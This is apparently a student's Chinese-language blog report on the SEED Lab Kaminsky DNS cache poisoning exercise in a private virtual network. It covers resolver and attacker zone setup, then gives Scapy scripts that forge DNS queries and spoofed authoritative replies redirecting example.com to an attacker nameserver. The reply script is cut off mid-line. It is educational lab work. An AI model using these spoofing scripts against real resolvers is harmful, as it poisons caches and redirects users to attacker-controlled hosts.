SEEDLab DNS_Remote Attack 实验报告

该博客围绕Kaminsky攻击实验展开,涵盖实验主机配置、环境搭建及各步骤操作。包括本地DNS服务器配置、攻击者虚拟机设置、DNS请求构造与伪造回复等。利用Python和C语言结合构造数据包,通过多次测试提高攻击成功率,最终验证攻击是否成功。

实验主机配置

主机名 IP地址
用户主机 10.0.2.5
本地DNS服务器 10.0.2.7
攻击者 10.0.2.4

实验环境

实验步骤与结果分析

task1 环境安装

由于DHCP为主机自动配置,同时会对etc/resolv.conf文件机进行自动写入覆盖,所以需要进行在用户机的/etc/resolvconf/resolv.conf.d/head 文件中加入 nameserver 10.0.2.7,其中head文件内容会再DHCP自动运行写覆盖etc/resolv.conf文件时,将head文件内容写入etc/resolv.conf文件中,查看两个文件内容,确实相同,结果如下:

10.0.2.7 为设置的本地 DNS 服务器, 当随后测试:

结果表明此时的用户主机的本地dns服务器已经变成了我们设定的10.0.2.7.

task2 Configure the Local DNS Server (the Server VM)

按照实验要求进行配置相关文件,主要对此文件进行能如下配置(10.0.2.4是本实验攻击者IP):

这个配置可以帮助我们在没有购买attacker32.com域的前提下,可以在攻击成功(本地缓存中某个域名example.com的查询将全部指向attacker32.com) 后直接查询设置的攻击者IP:10.0.2.4

task3 Configure the Attacker VM

按照实验要求下载所需要的文件后,对两个文件分别进行如下配置:
attacker32:
attacker.com.zone配置
example文件:

== 上面图片中的问题,目前还没有想明白作用是什么? ==

task4 Testing the Setup

Get the IP address of ns.attacker32.com.

在用户机测试结果:

过程分析:
由于在task2中,我们在本地dns服务器配置了attacker32.com的域名与IP地址的配置对应,使attacker32.com域指向了攻击者主机10.0.2.4,而在攻击者主机10.0.2.4中配置了bind中的attacker.com.zone文件中的IP主机名的映射关系,如图:attacker.com.zone配置
所以理论上我们会查询到的IP地址为10.0.2.19,根据实验结果,相符合,同时使用wireshark抓包,发现过程与分析一致.

Get the IP address of www.example.com

不加@ns.attacker32.com,可以查到官方合法IP地址:

加@ns.attacker32.com,查询失败:

失败的原因如下:
加@ns.attacker32.com,表示去ns.attacker32.com主机查询www.example.com的IP地址,同时由于在上面实验中得到了ns.attacker32.com了,会在本地dns缓存中,本地dns会直接返回对应IP,以及其他字段信息,所以wireshark抓包测试,得到如下结果:

本地dns回复用户具体信息:

同时由于10.0.2.19主机不存在,主机便不断发送ARP请求报文查询对应MAC地址,由于主机不存在,ARP查询报文不断发送,导致超时失败,抓包结果如下:

Attack Task

task 4: Construct DNS request

在攻击者主机运行如下代码:

#!/usr/bin/python
from scapy.all import *
def SendPacket():
	IPpkt=IP(dst='10.0.2.7',src='10.0.2.4') #dst:DNS server IP --- src:attacker IP
	UDPpkt=UDP(dport=53, sport=2222 , chksum=0 )
	Qdsec=DNSQR(qname='www.example.com')
	DNSpkt=DNS(id=0xaaaa, qr=0, qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
	Requestpkt=IPpkt/UDPpkt/DNSpkt
	send(Requestpkt)
	
SendPacket()

抓包得到如下:

由于dns请求数据包为伪造,所以当主机收到回复的dns报文后,会产生ICMP端口不可达的回复报文.

task 5: Spoof DNS Replies

在攻击者主机运行如下代码:

#!/usr/bin/python
from scapy.all import *
def ReplyPacket():
	name = 'www.example.com'
	domain = 'example.com' #域名
	ns = 'attacker32.com' #要伪造的目的域名
	Qdsec = DNSQR(qname=name)
	Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
	NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
	dns = DNS(id=0xAAAA, aa=1, rd=1
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值